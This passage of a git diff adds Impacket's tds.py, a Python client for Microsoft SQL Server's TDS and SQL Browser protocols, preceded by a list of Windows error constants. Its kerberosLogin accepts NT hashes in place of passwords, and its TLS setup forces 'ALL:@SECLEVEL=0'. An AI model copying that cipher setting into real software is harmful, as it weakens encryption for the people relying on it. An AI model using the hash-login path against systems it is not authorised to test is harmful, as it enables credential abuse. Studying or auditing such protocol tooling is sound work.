+ERROR_EVT_CANNOT_OPEN_CHANNEL_OF_QUERY                                   = 0x00003abc
+ERROR_EVT_PUBLISHER_DISABLED                                             = 0x00003abd
+ERROR_EVT_FILTER_OUT_OF_RANGE                                            = 0x00003abe
+ERROR_EC_SUBSCRIPTION_CANNOT_ACTIVATE                                    = 0x00003ae8
+ERROR_EC_LOG_DISABLED                                                    = 0x00003ae9
+ERROR_EC_CIRCULAR_FORWARDING                                             = 0x00003aea
+ERROR_EC_CREDSTORE_FULL                                                  = 0x00003aeb
+ERROR_EC_CRED_NOT_FOUND                                                  = 0x00003aec
+ERROR_EC_NO_ACTIVE_CHANNEL                                               = 0x00003aed
+ERROR_MUI_FILE_NOT_FOUND                                                 = 0x00003afc
+ERROR_MUI_INVALID_FILE                                                   = 0x00003afd
+ERROR_MUI_INVALID_RC_CONFIG                                              = 0x00003afe
+ERROR_MUI_INVALID_LOCALE_NAME                                            = 0x00003aff
+ERROR_MUI_INVALID_ULTIMATEFALLBACK_NAME                                  = 0x00003b00
+ERROR_MUI_FILE_NOT_LOADED                                                = 0x00003b01
+ERROR_RESOURCE_ENUM_USER_STOP                                            = 0x00003b02
+ERROR_MUI_INTLSETTINGS_UILANG_NOT_INSTALLED                              = 0x00003b03
+ERROR_MUI_INTLSETTINGS_INVALID_LOCALE_NAME                               = 0x00003b04
+ERROR_MRM_RUNTIME_NO_DEFAULT_OR_NEUTRAL_RESOURCE                         = 0x00003b06
+ERROR_MRM_INVALID_PRICONFIG                                              = 0x00003b07
+ERROR_MRM_INVALID_FILE_TYPE                                              = 0x00003b08
+ERROR_MRM_UNKNOWN_QUALIFIER                                              = 0x00003b09
+ERROR_MRM_INVALID_QUALIFIER_VALUE                                        = 0x00003b0a
+ERROR_MRM_NO_CANDIDATE                                                   = 0x00003b0b
+ERROR_MRM_NO_MATCH_OR_DEFAULT_CANDIDATE                                  = 0x00003b0c
+ERROR_MRM_RESOURCE_TYPE_MISMATCH                                         = 0x00003b0d
+ERROR_MRM_DUPLICATE_MAP_NAME                                             = 0x00003b0e
+ERROR_MRM_DUPLICATE_ENTRY                                                = 0x00003b0f
+ERROR_MRM_INVALID_RESOURCE_IDENTIFIER                                    = 0x00003b10
+ERROR_MRM_FILEPATH_TOO_LONG                                              = 0x00003b11
+ERROR_MRM_UNSUPPORTED_DIRECTORY_TYPE                                     = 0x00003b12
+ERROR_MRM_INVALID_PRI_FILE                                               = 0x00003b16
+ERROR_MRM_NAMED_RESOURCE_NOT_FOUND                                       = 0x00003b17
+ERROR_MRM_MAP_NOT_FOUND                                                  = 0x00003b1f
+ERROR_MRM_UNSUPPORTED_PROFILE_TYPE                                       = 0x00003b20
+ERROR_MRM_INVALID_QUALIFIER_OPERATOR                                     = 0x00003b21
+ERROR_MRM_INDETERMINATE_QUALIFIER_VALUE                                  = 0x00003b22
+ERROR_MRM_AUTOMERGE_ENABLED                                              = 0x00003b23
+ERROR_MRM_TOO_MANY_RESOURCES                                             = 0x00003b24
+ERROR_MCA_INVALID_CAPABILITIES_STRING                                    = 0x00003b60
+ERROR_MCA_INVALID_VCP_VERSION                                            = 0x00003b61
+ERROR_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION                            = 0x00003b62
+ERROR_MCA_MCCS_VERSION_MISMATCH                                          = 0x00003b63
+ERROR_MCA_UNSUPPORTED_MCCS_VERSION                                       = 0x00003b64
+ERROR_MCA_INTERNAL_ERROR                                                 = 0x00003b65
+ERROR_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED                               = 0x00003b66
+ERROR_MCA_UNSUPPORTED_COLOR_TEMPERATURE                                  = 0x00003b67
+ERROR_AMBIGUOUS_SYSTEM_DEVICE                                            = 0x00003b92
+ERROR_SYSTEM_DEVICE_NOT_FOUND                                            = 0x00003bc3
+ERROR_HASH_NOT_SUPPORTED                                                 = 0x00003bc4
+ERROR_HASH_NOT_PRESENT                                                   = 0x00003bc5
+ERROR_SECONDARY_IC_PROVIDER_NOT_REGISTERED                               = 0x00003bd9
+ERROR_GPIO_CLIENT_INFORMATION_INVALID                                    = 0x00003bda
+ERROR_GPIO_VERSION_NOT_SUPPORTED                                         = 0x00003bdb
+ERROR_GPIO_INVALID_REGISTRATION_PACKET                                   = 0x00003bdc
+ERROR_GPIO_OPERATION_DENIED                                              = 0x00003bdd
+ERROR_GPIO_INCOMPATIBLE_CONNECT_MODE                                     = 0x00003bde
+ERROR_GPIO_INTERRUPT_ALREADY_UNMASKED                                    = 0x00003bdf
+ERROR_CANNOT_SWITCH_RUNLEVEL                                             = 0x00003c28
+ERROR_INVALID_RUNLEVEL_SETTING                                           = 0x00003c29
+ERROR_RUNLEVEL_SWITCH_TIMEOUT                                            = 0x00003c2a
+ERROR_RUNLEVEL_SWITCH_AGENT_TIMEOUT                                      = 0x00003c2b
+ERROR_RUNLEVEL_SWITCH_IN_PROGRESS                                        = 0x00003c2c
+ERROR_SERVICES_FAILED_AUTOSTART                                          = 0x00003c2d
+ERROR_COM_TASK_STOP_PENDING                                              = 0x00003c8d
+ERROR_INSTALL_OPEN_PACKAGE_FAILED                                        = 0x00003cf0
+ERROR_INSTALL_PACKAGE_NOT_FOUND                                          = 0x00003cf1
+ERROR_INSTALL_INVALID_PACKAGE                                            = 0x00003cf2
+ERROR_INSTALL_RESOLVE_DEPENDENCY_FAILED                                  = 0x00003cf3
+ERROR_INSTALL_OUT_OF_DISK_SPACE                                          = 0x00003cf4
+ERROR_INSTALL_NETWORK_FAILURE                                            = 0x00003cf5
+ERROR_INSTALL_REGISTRATION_FAILURE                                       = 0x00003cf6
+ERROR_INSTALL_DEREGISTRATION_FAILURE                                     = 0x00003cf7
+ERROR_INSTALL_CANCEL                                                     = 0x00003cf8
+ERROR_INSTALL_FAILED                                                     = 0x00003cf9
+ERROR_REMOVE_FAILED                                                      = 0x00003cfa
+ERROR_PACKAGE_ALREADY_EXISTS                                             = 0x00003cfb
+ERROR_NEEDS_REMEDIATION                                                  = 0x00003cfc
+ERROR_INSTALL_PREREQUISITE_FAILED                                        = 0x00003cfd
+ERROR_PACKAGE_REPOSITORY_CORRUPTED                                       = 0x00003cfe
+ERROR_INSTALL_POLICY_FAILURE                                             = 0x00003cff
+ERROR_PACKAGE_UPDATING                                                   = 0x00003d00
+ERROR_DEPLOYMENT_BLOCKED_BY_POLICY                                       = 0x00003d01
+ERROR_PACKAGES_IN_USE                                                    = 0x00003d02
+ERROR_RECOVERY_FILE_CORRUPT                                              = 0x00003d03
+ERROR_INVALID_STAGED_SIGNATURE                                           = 0x00003d04
+ERROR_DELETING_EXISTING_APPLICATIONDATA_STORE_FAILED                     = 0x00003d05
+ERROR_INSTALL_PACKAGE_DOWNGRADE                                          = 0x00003d06
+ERROR_SYSTEM_NEEDS_REMEDIATION                                           = 0x00003d07
+ERROR_APPX_INTEGRITY_FAILURE_CLR_NGEN                                    = 0x00003d08
+ERROR_RESILIENCY_FILE_CORRUPT                                            = 0x00003d09
+ERROR_INSTALL_FIREWALL_SERVICE_NOT_RUNNING                               = 0x00003d0a
+APPMODEL_ERROR_NO_PACKAGE                                                = 0x00003d54
+APPMODEL_ERROR_PACKAGE_RUNTIME_CORRUPT                                   = 0x00003d55
+APPMODEL_ERROR_PACKAGE_IDENTITY_CORRUPT                                  = 0x00003d56
+APPMODEL_ERROR_NO_APPLICATION                                            = 0x00003d57
+ERROR_STATE_LOAD_STORE_FAILED                                            = 0x00003db8
+ERROR_STATE_GET_VERSION_FAILED                                           = 0x00003db9
+ERROR_STATE_SET_VERSION_FAILED                                           = 0x00003dba
+ERROR_STATE_STRUCTURED_RESET_FAILED                                      = 0x00003dbb
+ERROR_STATE_OPEN_CONTAINER_FAILED                                        = 0x00003dbc
+ERROR_STATE_CREATE_CONTAINER_FAILED                                      = 0x00003dbd
+ERROR_STATE_DELETE_CONTAINER_FAILED                                      = 0x00003dbe
+ERROR_STATE_READ_SETTING_FAILED                                          = 0x00003dbf
+ERROR_STATE_WRITE_SETTING_FAILED                                         = 0x00003dc0
+ERROR_STATE_DELETE_SETTING_FAILED                                        = 0x00003dc1
+ERROR_STATE_QUERY_SETTING_FAILED                                         = 0x00003dc2
+ERROR_STATE_READ_COMPOSITE_SETTING_FAILED                                = 0x00003dc3
+ERROR_STATE_WRITE_COMPOSITE_SETTING_FAILED                               = 0x00003dc4
+ERROR_STATE_ENUMERATE_CONTAINER_FAILED                                   = 0x00003dc5
+ERROR_STATE_ENUMERATE_SETTINGS_FAILED                                    = 0x00003dc6
+ERROR_STATE_COMPOSITE_SETTING_VALUE_SIZE_LIMIT_EXCEEDED                  = 0x00003dc7
+ERROR_STATE_SETTING_VALUE_SIZE_LIMIT_EXCEEDED                            = 0x00003dc8
+ERROR_STATE_SETTING_NAME_SIZE_LIMIT_EXCEEDED                             = 0x00003dc9
+ERROR_STATE_CONTAINER_NAME_SIZE_LIMIT_EXCEEDED                           = 0x00003dca
+ERROR_API_UNAVAILABLE                                                    = 0x00003de1
+STORE_ERROR_UNLICENSED                                                   = 0x00003df5
+STORE_ERROR_UNLICENSED_USER                                              = 0x00003df6
diff --git a/impacket/tds.py b/impacket/tds.py
new file mode 100644
index 0000000..b1b2125
--- /dev/null
+++ b/impacket/tds.py
@@ -0,0 +1,1543 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-TDS] & [MC-SQLR] implementation.
+#
+# Author:
+#  Alberto Solino (@agsolino)
+#
+# ToDo:
+#   [ ] Add all the tokens left
+#   [ ] parseRow should be rewritten and add support for all the SQL types in a
+#       good way. Right now it just supports a few types.
+#   [ ] printRows is crappy, just an easy way to print the rows. It should be
+#       rewritten to output like a normal SQL client
+#
+
+from __future__ import division
+from __future__ import print_function
+import struct
+import socket
+import select
+import random
+import binascii
+import math
+import datetime
+import string
+
+from impacket import ntlm, uuid, LOG
+from impacket.structure import Structure
+
+try:
+    from OpenSSL import SSL
+except:
+    LOG.critical("pyOpenSSL is not installed, can't continue")
+    raise
+
+# We need to have a fake Logger to be compatible with the way Impact 
+# prints information. Outside Impact it's just a print. Inside 
+# we will receive the Impact logger instance to print row information
+# The rest it processed through the standard impacket logging mech.
+class DummyPrint:        
+    def logMessage(self,message):
+        if message == '\n':
+            print(message)
+        else:
+            print(message, end=' ')
+
+# MC-SQLR Constants and Structures
+SQLR_PORT           = 1434
+SQLR_CLNT_BCAST_EX  = 0x02
+SQLR_CLNT_UCAST_EX  = 0x03
+SQLR_CLNT_UCAST_INST= 0x04
+SQLR_CLNT_UCAST_DAC = 0x0f
+
+
+class SQLR(Structure):
+    commonHdr = (
+        ('OpCode','B'),
+    )
+
+class SQLR_UCAST_INST(SQLR):
+    structure = (
+        ('Instance',':')
+    )
+    def __init__(self, data = None):
+        SQLR.__init__(self,data)
+        if data is not None:
+            self['OpCode'] = SQLR_CLNT_UCAST_INST
+
+class SQLR_UCAST_DAC(SQLR):
+    structure = (
+        ('Protocol', 'B=1'),
+        ('Instance', ':'),
+    )
+    def __init__(self, data = None):
+        SQLR.__init__(self,data)
+        if data is not None:
+            self['OpCode'] = SQLR_CLNT_UCAST_DAC
+
+class SQLR_Response(SQLR):
+    structure = (
+        ('Size','<H'),
+        ('_Data','_-Data','self["Size"]'),
+        ('Data',':'),
+    )
+    
+class SQLErrorException(Exception):
+    pass
+
+# TDS Constants and Structures
+
+# TYPE constants
+TDS_SQL_BATCH       = 1
+TDS_PRE_TDS_LOGIN   = 2
+TDS_RPC             = 3
+TDS_TABULAR         = 4
+TDS_ATTENTION       = 6
+TDS_BULK_LOAD_DATA  = 7
+TDS_TRANSACTION     = 14
+TDS_LOGIN7          = 16
+TDS_SSPI            = 17
+TDS_PRE_LOGIN       = 18
+
+# Status constants
+TDS_STATUS_NORMAL            = 0
+TDS_STATUS_EOM               = 1 
+TDS_STATUS_RESET_CONNECTION  = 8
+TDS_STATUS_RESET_SKIPTRANS   = 16
+
+# Encryption
+TDS_ENCRYPT_OFF              = 0
+TDS_ENCRYPT_ON               = 1
+TDS_ENCRYPT_NOT_SUP          = 2
+TDS_ENCRYPT_REQ              = 3
+
+# Option 2 Flags
+TDS_INTEGRATED_SECURITY_ON   = 0x80
+TDS_INIT_LANG_FATAL          = 0x01
+TDS_ODBC_ON                  = 0x02
+
+# Token Types
+TDS_ALTMETADATA_TOKEN        = 0x88
+TDS_ALTROW_TOKEN             = 0xD3
+TDS_COLMETADATA_TOKEN        = 0x81
+TDS_COLINFO_TOKEN            = 0xA5
+TDS_DONE_TOKEN               = 0xFD
+TDS_DONEPROC_TOKEN           = 0xFE
+TDS_DONEINPROC_TOKEN         = 0xFF
+TDS_ENVCHANGE_TOKEN          = 0xE3
+TDS_ERROR_TOKEN              = 0xAA
+TDS_INFO_TOKEN               = 0xAB
+TDS_LOGINACK_TOKEN           = 0xAD
+TDS_NBCROW_TOKEN             = 0xD2
+TDS_OFFSET_TOKEN             = 0x78
+TDS_ORDER_TOKEN              = 0xA9
+TDS_RETURNSTATUS_TOKEN       = 0x79
+TDS_RETURNVALUE_TOKEN        = 0xAC
+TDS_ROW_TOKEN                = 0xD1
+TDS_SSPI_TOKEN               = 0xED
+TDS_TABNAME_TOKEN            = 0xA4
+
+# ENVCHANGE Types
+TDS_ENVCHANGE_DATABASE       = 1
+TDS_ENVCHANGE_LANGUAGE       = 2
+TDS_ENVCHANGE_CHARSET        = 3
+TDS_ENVCHANGE_PACKETSIZE     = 4
+TDS_ENVCHANGE_UNICODE        = 5
+TDS_ENVCHANGE_UNICODE_DS     = 6
+TDS_ENVCHANGE_COLLATION      = 7
+TDS_ENVCHANGE_TRANS_START    = 8
+TDS_ENVCHANGE_TRANS_COMMIT   = 9
+TDS_ENVCHANGE_ROLLBACK       = 10
+TDS_ENVCHANGE_DTC            = 11
+
+# Column types
+# FIXED-LEN Data Types
+TDS_NULL_TYPE                = 0x1F
+TDS_INT1TYPE                 = 0x30
+TDS_BITTYPE                  = 0x32
+TDS_INT2TYPE                 = 0x34
+TDS_INT4TYPE                 = 0x38
+TDS_DATETIM4TYPE             = 0x3A
+TDS_FLT4TYPE                 = 0x3B
+TDS_MONEYTYPE                = 0x3C
+TDS_DATETIMETYPE             = 0x3D
+TDS_FLT8TYPE                 = 0x3E
+TDS_MONEY4TYPE               = 0x7A
+TDS_INT8TYPE                 = 0x7F
+
+# VARIABLE-Len Data Types
+TDS_GUIDTYPE                 = 0x24
+TDS_INTNTYPE                 = 0x26
+TDS_DECIMALTYPE              = 0x37
+TDS_NUMERICTYPE              = 0x3F
+TDS_BITNTYPE                 = 0x68
+TDS_DECIMALNTYPE             = 0x6A
+TDS_NUMERICNTYPE             = 0x6C
+TDS_FLTNTYPE                 = 0x6D
+TDS_MONEYNTYPE               = 0x6E
+TDS_DATETIMNTYPE             = 0x6F
+TDS_DATENTYPE                = 0x28
+TDS_TIMENTYPE                = 0x29
+TDS_DATETIME2NTYPE           = 0x2A
+TDS_DATETIMEOFFSETNTYPE      = 0x2B
+TDS_CHARTYPE                 = 0x2F
+TDS_VARCHARTYPE              = 0x27
+TDS_BINARYTYPE               = 0x2D
+TDS_VARBINARYTYPE            = 0x25
+TDS_BIGVARBINTYPE            = 0xA5
+TDS_BIGVARCHRTYPE            = 0xA7
+TDS_BIGBINARYTYPE            = 0xAD
+TDS_BIGCHARTYPE              = 0xAF
+TDS_NVARCHARTYPE             = 0xE7
+TDS_NCHARTYPE                = 0xEF
+TDS_XMLTYPE                  = 0xF1
+TDS_UDTTYPE                  = 0xF0
+TDS_TEXTTYPE                 = 0x23
+TDS_IMAGETYPE                = 0x22
+TDS_NTEXTTYPE                = 0x63
+TDS_SSVARIANTTYPE            = 0x62
+
+class TDSPacket(Structure):
+    structure = (
+        ('Type','<B'),
+        ('Status','<B=1'),
+        ('Length','>H=8+len(Data)'),
+        ('SPID','>H=0'),
+        ('PacketID','<B=0'),
+        ('Window','<B=0'),
+        ('Data',':'),
+    )
+
+class TDS_PRELOGIN(Structure):
+    structure = (
+        ('VersionToken','>B=0'),
+        ('VersionOffset','>H'),
+        ('VersionLength','>H=len(self["Version"])'),
+        ('EncryptionToken','>B=0x1'),
+        ('EncryptionOffset','>H'),
+        ('EncryptionLength','>H=1'),
+        ('InstanceToken','>B=2'),
+        ('InstanceOffset','>H'),
+        ('InstanceLength','>H=len(self["Instance"])'),
+        ('ThreadIDToken','>B=3'),
+        ('ThreadIDOffset','>H'),
+        ('ThreadIDLength','>H=4'),
+        ('EndToken','>B=0xff'),
+        ('_Version','_-Version','self["VersionLength"]'),
+        ('Version',':'),
+        ('Encryption','B'),
+        ('_Instance','_-Instance','self["InstanceLength"]-1'),
+        ('Instance',':'),
+        ('ThreadID',':'),
+    )
+
+    def getData(self):
+        self['VersionOffset']=21
+        self['EncryptionOffset']=self['VersionOffset'] + len(self['Version'])
+        self['InstanceOffset']=self['EncryptionOffset'] + 1
+        self['ThreadIDOffset']=self['InstanceOffset'] + len(self['Instance'])
+        return Structure.getData(self)
+
+class TDS_LOGIN(Structure):
+    structure = (
+        ('Length','<L=0'),
+        ('TDSVersion','>L=0x71'),
+        ('PacketSize','<L=32764'),
+        ('ClientProgVer','>L=7'),
+        ('ClientPID','<L=0'),
+        ('ConnectionID','<L=0'),
+        ('OptionFlags1','<B=0xe0'),
+        ('OptionFlags2','<B'),
+        ('TypeFlags','<B=0'),
+        ('OptionFlags3','<B=0'),
+        ('ClientTimeZone','<L=0'),
+        ('ClientLCID','<L=0'),
+        ('HostNameOffset','<H'),
+        ('HostNameLength','<H=len(self["HostName"])//2'),
+        ('UserNameOffset','<H=0'),
+        ('UserNameLength','<H=len(self["UserName"])//2'),
+        ('PasswordOffset','<H=0'),
+        ('PasswordLength','<H=len(self["Password"])//2'),
+        ('AppNameOffset','<H'),
+        ('AppNameLength','<H=len(self["AppName"])//2'),
+        ('ServerNameOffset','<H'),
+        ('ServerNameLength','<H=len(self["ServerName"])//2'),
+        ('UnusedOffset','<H=0'),
+        ('UnusedLength','<H=0'),
+        ('CltIntNameOffset','<H'),
+        ('CltIntNameLength','<H=len(self["CltIntName"])//2'),
+        ('LanguageOffset','<H=0'),
+        ('LanguageLength','<H=0'),
+        ('DatabaseOffset','<H=0'),
+        ('DatabaseLength','<H=len(self["Database"])//2'),
+        ('ClientID','6s=b"\x01\x02\x03\x04\x05\x06"'),
+        ('SSPIOffset','<H'),
+        ('SSPILength','<H=len(self["SSPI"])'),
+        ('AtchDBFileOffset','<H'),
+        ('AtchDBFileLength','<H=len(self["AtchDBFile"])//2'),
+        ('HostName',':'),
+        ('UserName',':'),
+        ('Password',':'),
+        ('AppName',':'),
+        ('ServerName',':'),
+        ('CltIntName',':'),
+        ('Database',':'),
+        ('SSPI',':'),
+        ('AtchDBFile',':'),
+    )
+    def __init__(self,data=None):
+        Structure.__init__(self,data)
+        if data is None:
+            self['UserName'] = ''
+            self['Password'] = ''
+            self['Database'] = ''
+            self['AtchDBFile'] = ''
+
+    def fromString(self, data):
+        Structure.fromString(self, data)
+        if self['HostNameLength'] > 0:
+            self['HostName'] = data[self['HostNameOffset']:][:self['HostNameLength']*2]
+
+        if self['UserNameLength'] > 0:
+            self['UserName'] = data[self['UserNameOffset']:][:self['UserNameLength']*2]
+
+        if self['PasswordLength'] > 0:
+            self['Password'] = data[self['PasswordOffset']:][:self['PasswordLength']*2]
+
+        if self['AppNameLength'] > 0:
+            self['AppName'] = data[self['AppNameOffset']:][:self['AppNameLength']*2]
+
+        if self['ServerNameLength'] > 0:
+            self['ServerName'] = data[self['ServerNameOffset']:][:self['ServerNameLength']*2]
+
+        if self['CltIntNameLength'] > 0:
+            self['CltIntName'] = data[self['CltIntNameOffset']:][:self['CltIntNameLength']*2]
+
+        if self['DatabaseLength'] > 0:
+            self['Database'] = data[self['DatabaseOffset']:][:self['DatabaseLength']*2]
+
+        if self['SSPILength'] > 0:
+            self['SSPI'] = data[self['SSPIOffset']:][:self['SSPILength']*2]
+
+        if self['AtchDBFileLength'] > 0:
+            self['AtchDBFile'] = data[self['AtchDBFileOffset']:][:self['AtchDBFileLength']*2]
+
+    def getData(self):
+        index = 36+50
+        self['HostNameOffset']= index
+
+        index += len(self['HostName'])
+
+        if self['UserName'] != '':
+            self['UserNameOffset'] = index
+        else:
+            self['UserNameOffset'] = 0
+
+        index += len(self['UserName'])
+
+        if self['Password'] != '':
+            self['PasswordOffset'] = index
+        else:
+            self['PasswordOffset'] = 0
+
+        index += len(self['Password'])
+
+        self['AppNameOffset']= index
+        self['ServerNameOffset']=self['AppNameOffset'] + len(self['AppName'])
+        self['CltIntNameOffset']=self['ServerNameOffset'] + len(self['ServerName'])
+        self['LanguageOffset']=self['CltIntNameOffset'] + len(self['CltIntName'])
+        self['DatabaseOffset']=self['LanguageOffset'] 
+        self['SSPIOffset']=self['DatabaseOffset'] + len(self['Database'])
+        self['AtchDBFileOffset']=self['SSPIOffset'] + len(self['SSPI'])
+        return Structure.getData(self)
+
+class TDS_LOGIN_ACK(Structure):
+    structure = (
+        ('TokenType','<B'),
+        ('Length','<H'),
+        ('Interface','<B'),
+        ('TDSVersion','<L'),
+        ('ProgNameLen','<B'),
+        ('_ProgNameLen','_-ProgName','self["ProgNameLen"]*2'),
+        ('ProgName',':'),
+        ('MajorVer','<B'),
+        ('MinorVer','<B'),
+        ('BuildNumHi','<B'),
+        ('BuildNumLow','<B'),
+    )
+
+class TDS_RETURNSTATUS(Structure):
+    structure = (
+        ('TokenType','<B'),
+        ('Value','<L'),
+    )
+
+class TDS_INFO_ERROR(Structure):
+    structure = (
+        ('TokenType','<B'),
+        ('Length','<H'),
+        ('Number','<L'),
+        ('State','<B'),
+        ('Class','<B'),
+        ('MsgTextLen','<H'),
+        ('_MsgTextLen','_-MsgText','self["MsgTextLen"]*2'),
+        ('MsgText',':'),
+        ('ServerNameLen','<B'),
+        ('_ServerNameLen','_-ServerName','self["ServerNameLen"]*2'),
+        ('ServerName',':'),
+        ('ProcNameLen','<B'),
+        ('_ProcNameLen','_-ProcName','self["ProcNameLen"]*2'),
+        ('ProcName',':'),
+        ('LineNumber','<H'),
+    )
+
+class TDS_ENVCHANGE(Structure):
+    structure = (
+        ('TokenType','<B'),
+        ('Length','<H=4+len(Data)'),
+        ('Type','<B'),
+        ('_Data','_-Data','self["Length"]-1'),
+        ('Data',':'),
+    )
+
+class TDS_DONEINPROC(Structure):
+    structure = (
+        ('TokenType','<B'),
+        ('Status','<H'),
+        ('CurCmd','<H'),
+        ('DoneRowCount','<L'),
+    )
+
+class TDS_ORDER(Structure):
+    structure = (
+        ('TokenType','<B'),
+        ('Length','<H'),
+        ('_Data','_-Data','self["Length"]'),
+        ('Data',':'),
+    )
+
+
+class TDS_ENVCHANGE_VARCHAR(Structure):
+    structure = (
+        ('NewValueLen','<B=len(NewValue)'),
+        ('_NewValue','_-NewValue','self["NewValueLen"]*2'),
+        ('NewValue',':'),
+        ('OldValueLen','<B=len(OldValue)'),
+        ('_OldValue','_-OldValue','self["OldValueLen"]*2'),
+        ('OldValue',':'),
+    )
+    
+class TDS_ROW(Structure):
+    structure = (
+        ('TokenType','<B'),
+        ('Data',':'),
+    )
+
+class TDS_DONE(Structure):
+    structure = (
+        ('TokenType','<B'),
+        ('Status','<H'),
+        ('CurCmd','<H'),
+        ('DoneRowCount','<L'),
+    )
+
+class TDS_COLMETADATA(Structure):
+    structure = (
+        ('TokenType','<B'),
+        ('Count','<H'),
+        ('Data',':'),
+    )
+
+class MSSQL:
+    def __init__(self, address, port=1433, rowsPrinter=DummyPrint()):
+        #self.packetSize = 32764
+        self.packetSize = 32763
+        self.server = address
+        self.port = port
+        self.socket = 0
+        self.replies = {}
+        self.colMeta = []
+        self.rows = []
+        self.currentDB = ''
+        self.COL_SEPARATOR = '  '
+        self.MAX_COL_LEN = 255
+        self.lastError = False
+        self.tlsSocket = None
+        self.__rowsPrinter = rowsPrinter
+
+    def getInstances(self, timeout = 5):
+        packet = SQLR()
+        packet['OpCode'] = SQLR_CLNT_UCAST_EX
+
+        # Open the connection
+        af, socktype, proto, canonname, sa = socket.getaddrinfo(self.server, SQLR_PORT, 0, socket.SOCK_DGRAM)[0]
+        s = socket.socket(af, socktype, proto)
+
+        s.sendto(packet.getData(), 0, ( self.server, SQLR_PORT ))
+        ready, _, _ = select.select([ s.fileno() ], [ ] , [ ], timeout)
+        if not ready:
+            return []
+        else:
+            data, _ = s.recvfrom(65536, 0)
+   
+        s.close()
+        resp = SQLR_Response(data)
+
+        # Now parse the results
+        entries = resp['Data'].split(b';;')
+
+        # We don't want the last one, it's empty
+        entries.pop()
+ 
+        # the answer to send back
+        resp = []
+
+        for i, entry in enumerate(entries):
+            fields = entry.split(b';')
+            ret = {}
+            for j, field in enumerate(fields):
+                if (j & 0x1) == 0:
+                    ret[field.decode('utf-8')] = fields[j+1].decode('utf-8')
+            resp.append(ret)
+
+        return resp
+        
+
+    def preLogin(self):
+        prelogin = TDS_PRELOGIN()
+        prelogin['Version'] = b"\x08\x00\x01\x55\x00\x00"
+        #prelogin['Encryption'] = TDS_ENCRYPT_NOT_SUP
+        prelogin['Encryption'] = TDS_ENCRYPT_OFF
+        prelogin['ThreadID'] = struct.pack('<L',random.randint(0,65535))
+        prelogin['Instance'] = b'MSSQLServer\x00'
+
+        self.sendTDS(TDS_PRE_LOGIN, prelogin.getData(), 0)
+        tds = self.recvTDS()
+
+        return TDS_PRELOGIN(tds['Data'])
+    
+    def encryptPassword(self, password ):
+        return bytes(bytearray([((x & 0x0f) << 4) + ((x & 0xf0) >> 4) ^ 0xa5 for x in bytearray(password)]))
+
+    def connect(self):
+        af, socktype, proto, canonname, sa = socket.getaddrinfo(self.server, self.port, 0, socket.SOCK_STREAM)[0]
+        sock = socket.socket(af, socktype, proto)
+        
+        try:
+            sock.connect(sa)
+        except Exception:
+            #import traceback
+            #traceback.print_exc()
+            raise
+        
+        self.socket = sock
+        return sock
+
+    def disconnect(self):
+        if self.socket:
+            return self.socket.close()
+
+    def setPacketSize(self, packetSize):
+        self.packetSize = packetSize
+
+    def getPacketSize(self):
+        return self.packetSize
+    
+    def socketSendall(self,data):
+        if self.tlsSocket is None:
+            return self.socket.sendall(data)
+        else:
+            self.tlsSocket.sendall(data)
+            dd = self.tlsSocket.bio_read(self.packetSize)
+            return self.socket.sendall(dd)
+
+    def sendTDS(self, packetType, data, packetID = 1):
+        if (len(data)-8) > self.packetSize:
+            remaining = data[self.packetSize-8:]
+            tds = TDSPacket()
+            tds['Type'] = packetType
+            tds['Status'] = TDS_STATUS_NORMAL
+            tds['PacketID'] = packetID
+            tds['Data'] = data[:self.packetSize-8]
+            self.socketSendall(tds.getData())
+
+            while len(remaining) > (self.packetSize-8):
+                packetID += 1
+                tds['PacketID'] = packetID
+                tds['Data'] = remaining[:self.packetSize-8]
+                self.socketSendall(tds.getData())
+                remaining = remaining[self.packetSize-8:]
+            data = remaining
+            packetID+=1
+
+        tds = TDSPacket()
+        tds['Type'] = packetType
+        tds['Status'] = TDS_STATUS_EOM
+        tds['PacketID'] = packetID
+        tds['Data'] = data
+        self.socketSendall(tds.getData())
+
+    def socketRecv(self, packetSize):
+        data = self.socket.recv(packetSize)
+        if self.tlsSocket is not None:
+            dd = ''
+            self.tlsSocket.bio_write(data)
+            while True:
+                try:
+                    dd += self.tlsSocket.read(packetSize)
+                except SSL.WantReadError:
+                    data2 = self.socket.recv(packetSize - len(data) )
+                    self.tlsSocket.bio_write(data2)
+                    pass
+                else:
+                    data = dd
+                    break
+        return data
+
+    def recvTDS(self, packetSize = None):
+        # Do reassembly here
+        if packetSize is None:
+            packetSize = self.packetSize
+        packet = TDSPacket(self.socketRecv(packetSize))
+        status = packet['Status']
+        packetLen = packet['Length']-8
+        while packetLen > len(packet['Data']):
+            data = self.socketRecv(packetSize)
+            packet['Data'] += data
+        
+        remaining = None
+        if packetLen <  len(packet['Data']):
+            remaining = packet['Data'][packetLen:]
+            packet['Data'] = packet['Data'][:packetLen]
+
+        #print "REMAINING ", 
+        #if remaining is None: 
+        #   print None 
+        #else: 
+        #   print len(remaining)
+
+        while status != TDS_STATUS_EOM:
+            if remaining is not None:
+                tmpPacket = TDSPacket(remaining)
+            else:
+                tmpPacket = TDSPacket(self.socketRecv(packetSize))
+
+            packetLen = tmpPacket['Length'] - 8
+            while packetLen > len(tmpPacket['Data']):
+                data = self.socketRecv(packetSize)
+                tmpPacket['Data'] += data
+
+            remaining = None
+            if packetLen <  len(tmpPacket['Data']):
+                remaining = tmpPacket['Data'][packetLen:]
+                tmpPacket['Data'] = tmpPacket['Data'][:packetLen]
+
+            status = tmpPacket['Status']
+            packet['Data'] += tmpPacket['Data']
+            packet['Length'] += tmpPacket['Length'] - 8
+            
+        #print packet['Length']
+        return packet
+
+    def kerberosLogin(self, database, username, password='', domain='', hashes=None, aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True):
+
+        if hashes is not None:
+            lmhash, nthash = hashes.split(':')
+            lmhash = binascii.a2b_hex(lmhash)
+            nthash = binascii.a2b_hex(nthash)
+        else:
+            lmhash = ''
+            nthash = ''
+
+        resp = self.preLogin()
+        # Test this!
+        if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF:
+            LOG.info("Encryption required, switching to TLS")
+
+            # Switching to TLS now
+            ctx = SSL.Context(SSL.TLS_METHOD)
+            ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8'))
+            tls = SSL.Connection(ctx,None)
+            tls.set_connect_state()
+            while True:
+                try:
